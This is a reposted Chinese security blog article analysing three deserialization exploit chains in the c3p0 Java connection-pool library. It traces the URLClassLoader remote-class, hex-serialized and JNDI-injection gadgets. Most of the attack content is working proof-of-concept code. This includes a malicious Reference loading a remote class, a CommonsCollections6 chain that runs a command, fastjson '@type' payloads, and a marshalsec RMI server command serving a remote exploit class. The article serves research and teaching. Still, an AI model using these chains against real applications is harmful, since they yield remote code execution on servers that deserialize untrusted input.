JavaSec | c3p0反序列化分析

admin 2025年4月14日09:10:56评论2 views字数 15779阅读52分35秒阅读模式

扫码领资料

获网安教程

JavaSec | c3p0反序列化分析
JavaSec | c3p0反序列化分析

本文由掌控安全学院 - 3358756550 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

简介

C3P0是JDBC的一个连接池组件

在多线程中创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长。为了提高效率,我们可以线程池,而连接池也是差不多的原理,其核心作用是预先创建并维护一定数量的数据库连接,供应用程序使用,从而避免频繁创建和关闭连接带来的性能开销。

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

环境搭建

添加依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

利用方式

在C3P0中有三种利用方式

  • • URLClassLoader远程类加载,也被称为 http base 链
  • • JNDI
  • • HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

URLClassLoader远程类加载

调用链

com.mchange.v2.c3p0.impl 下的 PoolBackedDataSourceBase 类

其 writeObject 方法中有

img

先用 SerializableUtils.toByteArray 检查 connectionPoolDataSource 属性是否可序列化,如果可以则直接序列化,如果不行则用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作

img

这是个接口,不能被序列化所以会进入到 catch 块,我们跟进下看这个方法怎么处理的

com.mchange.v2.naming 下的 ReferenceIndirector.indirectForm 方法

public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用了 connectionPoolDataSource 属性的 getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized 对象,然后将这个对象返回,跟进 ReferenceSerialized 的构造方法可以发现 reference 就是传入的 connectionPoolDataSource 属性,是我们可控的

ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) {
    this.reference = var1;
    this.name = var2;
    this.contextName = var3;
    this.env = var4;
}

说完了序列化,看下其对应的反序列化操作,还是 com.mchange.v2.c3p0.impl 下的 PoolBackedDataSourceBase

其 readObejct 方法

img

可以看到会调用序列流中的对象为 IndirectlySerialized 类型的 getObject 方法,而刚才在分析序列化时,我们发现 ReferenceIndirector.indirectForm 方法返回的 ReferenceSerialized 对象就是 IndirectlySerialized 类型的。也就是说如果 ReferenceSerialized 被序列化成功了,那这里就是调用的ReferenceSerialized#getObject ,跟进一下

跟进后可以发现调用了 ReferenceableUtils.referenceToObject 这个静态方法

img

上面说过 reference 就是传入的 connectionPoolDataSource 属性,是我们可控的。继续跟进

com.mchange.v2.naming 下的 ReferenceableUtils.referenceToObject

img

这里var4 是从传入的 Reference 对象中获取的工厂类名称,由上面的分析来看,是可控的,所以这里我们可以通过 URLClassLoader 实例化远程类,造成任意代码执行

这里因为实现了 ConnectionPoolDataSource 接口,且 ConnectionPoolDataSource 接口继承于 CommonDataSource ,所以必须实现其所有方法

poc

package org.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3p0 {
    public static class exp implements ConnectionPoolDataSource, Referenceable{
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("exp","exp","http://127.0.0.1:10999/");
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }
        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {
        }
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {
        }
        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);
        //将connectionPoolDataSource属性值设为恶意的class
        Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(pds, new exp());

        Unser(pds);
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
}

exp.java

import java.io.IOException;

public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

总结

调用链

PoolBackedDataSourceBase#readObject 
    ->ReferenceSerialized#getObject 
        ->ReferenceableUtils#referenceToObject 
            ->ObjectFactory#getObjectInstance

就是加载个远程恶意类

hex base

调用链

如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

定位到 com.mchange.v2.c3p0.impl 下的 WrapperConnectionPoolDataSource 类中

其构造函数调用了 C3P0ImplUtils.parseUserOverridesAsString 方法

img

跟进一下

public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

先是调用 fromHexAscii将其传入的 userOverridesAsString 16进制解码,再用 fromByteArray 将其转换为map类,其输入必须满足HexAsciiSerializedMap{xxx} 的格式,其中{和}用其他任意字符代替均可

跟进看下 fromByteArray 的实现

public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
        Object var1 = deserializeFromByteArray(var0);
        return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
    }

触发了 deserializeFromByteArray 方法,然后判断反序列化后的对象 var1 是否是 IndirectlySerialized 类型,如果是则调用其 getObject 方法,如果不是则直接返回 var1

继续跟进 deserializeFromByteArray

public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
        ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
        return var1.readObject();
    }

这里直接反序列化了

ok 看下怎么传参,参数是由 getUserOverridesAsString() 方法获得的,可以用其 setter 方法来赋值

img

其实从这个setter方法开始才是正真的调用链,但其调用链和上面分析的差不多,就不说了,最后还是触发到 deserializeFromByteArray

poc

随便拿条链子,我这里拿cc6,相较于其他cc链,cc6用的更多一点

package org.example;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;


public class c3p0_hexbase {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put(Tie,"test");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);
        Lazy.remove("aaa");
        serilize(hashmap);

        InputStream in = new FileInputStream("test.bin");
        byte[] bytein = toByteArray(in);
        String Hex = "HexAsciiSerializedMap{"+bytesToHexString(bytein,bytein.length)+"}";
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
        exp.setUserOverridesAsString(Hex);
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("test.bin"));
        out.writeObject(obj);
    }
    //将输入流转换为字节数组
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }
    //将字节数组转换为十六进制
    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

上面分析到能调用 setter 和 getter ,不难想到 fastjson ,fastjson 的 poc ,这里我拿的是最简单的 1.2.24 版本的来举例的

String hex = "序列化后的hex数据";

        String payload = "{" +
                ""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +
                ""userOverridesAsString":"HexAsciiSerializedMap:" + hex + ";"," +
                "}";
        JSON.parse(payload);

总结

调用栈

deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)

fastjson的调用栈

deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)

简单来说 setUserOverridesAsString 可以触发反序列化恶意hex数据,fastjson 可以触发任意 setter 方法,不用手动触发

JNDI注入

同样也是在fastjson,jackson环境中可用。jndi适用于jdk8u191以下支持reference情况,下图来自三知师傅的文章:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#JNDI%E5%8E%9F%E7%90%86%E5%8F%8A%E4%BD%BF%E7%94%A8%E4%BE%8B%E5%AD%90

JavaSec | c3p0反序列化分析
img

调用链

定位到 com.mchange.v2.c3p0 下的 JndiRefConnectionPoolDataSource

看到其 setLoginTimeout 函数

WrapperConnectionPoolDataSource wcpds;
...
public void setLoginTimeout(int seconds) throws SQLException {
        this.wcpds.setLoginTimeout(seconds);
    }

调用了 WrapperConnectionPoolDataSource#setLoginTimeout ,跟进发现又调用了 setLoginTimeout

public void setLoginTimeout(int seconds) throws SQLException {
        this.getNestedDataSource().setLoginTimeout(seconds);
    }

跟进发现 getNestedDataSource() 方法返回的是 this.nestedDataSource ,且发现是 setNestedDataSource 方法对 nestedDataSource 进行赋值

public synchronized DataSource getNestedDataSource() {
        return this.nestedDataSource;
    }

    public synchronized void setNestedDataSource(DataSource nestedDataSource) {
        DataSource oldVal = this.nestedDataSource;
        this.nestedDataSource = nestedDataSource;
        if (!this.eqOrBothNull(oldVal, nestedDataSource)) {
            this.pcs.firePropertyChange("nestedDataSource", oldVal, nestedDataSource);
        }

    }

经过上面分析,我们知道在 JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值

回头看到 JndiRefConnectionPoolDataSource 的构造类

public JndiRefConnectionPoolDataSource(boolean autoregister) {
        this.jrfds = new JndiRefForwardingDataSource();
        this.wcpds = new WrapperConnectionPoolDataSource();
        this.wcpds.setNestedDataSource(this.jrfds);
        if (autoregister) {
            this.identityToken = C3P0ImplUtils.allocateIdentityToken(this);
            C3P0Registry.reregister(this);
        }

    }

发现这里调用了 WrapperConnectionPoolDataSource#setNestedDataSource ,并将 JndiRefForwardingDataSource 类的实例当作参数传入。因此结合前面的分析,我们知道会调用 JndiRefForwardingDataSource#setLoginTimeout,继续跟进看下其实现

public void setLoginTimeout(int seconds) throws SQLException {
        this.inner().setLoginTimeout(seconds);
    }

调用了 inner() 方法,继续跟进

private synchronized DataSource inner() throws SQLException {
        if (this.cachedInner != null) {
            return this.cachedInner;
        } else {
            DataSource out = this.dereference();
            if (this.isCaching()) {
                this.cachedInner = out;
            }

            return out;
        }
    }

这里当 cachedInner 为空时就会调用 dereference ,然后跟进就会发现调用了 lookup

img

这里 jndiName 的值由 setJndiName 决定

poc

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类 exp.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:9991/#exp" 9999

记得在 9991 端口开 http

package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

public class c3p0_jndi {
    public static void main(String[] args)throws Exception {

        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://localhost:9999/hello");
        exp.setLoginTimeout(1);

    }
}
img

和 hex 那条链子差不多的原理,会用到 setter 方法,那就可以用 fastjson 打

String payload = "{" +
                ""@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource"," +
                ""JndiName":"rmi://localhost:9999/hello", " +
                ""LoginTimeout":0" +
                "}";
        JSON.parse(payload);

总结

调用栈

dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:309, WrapperConnectionPoolDataSource (com.mchange.v2.c3p0)
setLoginTimeout:302, JndiRefConnectionPoolDataSource (com.mchange.v2.c3p0)

先是创个 JndiRefConnectionPoolDataSource 的实例,让 WrapperConnectionPoolDataSource#setNestedDataSource 的参数值为 JndiRefForwardingDataSource 的实例,方便之后触发 JndiRefForwardingDataSource#setLoginTimeout 打 jndi

fastjson 的调用栈

dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:309, WrapperConnectionPoolDataSource (com.mchange.v2.c3p0)
setLoginTimeout:302, JndiRefConnectionPoolDataSource (com.mchange.v2.c3p0)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JndiRefConnectionPoolDataSource (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)

差不多的

参考

https://www.cnblogs.com/gaorenyusi/p/18475139

https://tttang.com/archive/1411/#toc_poc_1

https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#JNDI%E5%8E%9F%E7%90%86%E5%8F%8A%E4%BD%BF%E7%94%A8%E4%BE%8B%E5%AD%90

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | c3p0反序列化分析

原文始发于微信公众号(掌控安全EDU):JavaSec | c3p0反序列化分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月14日09:10:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | c3p0反序列化分析https://cn-sec.com/archives/3951204.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息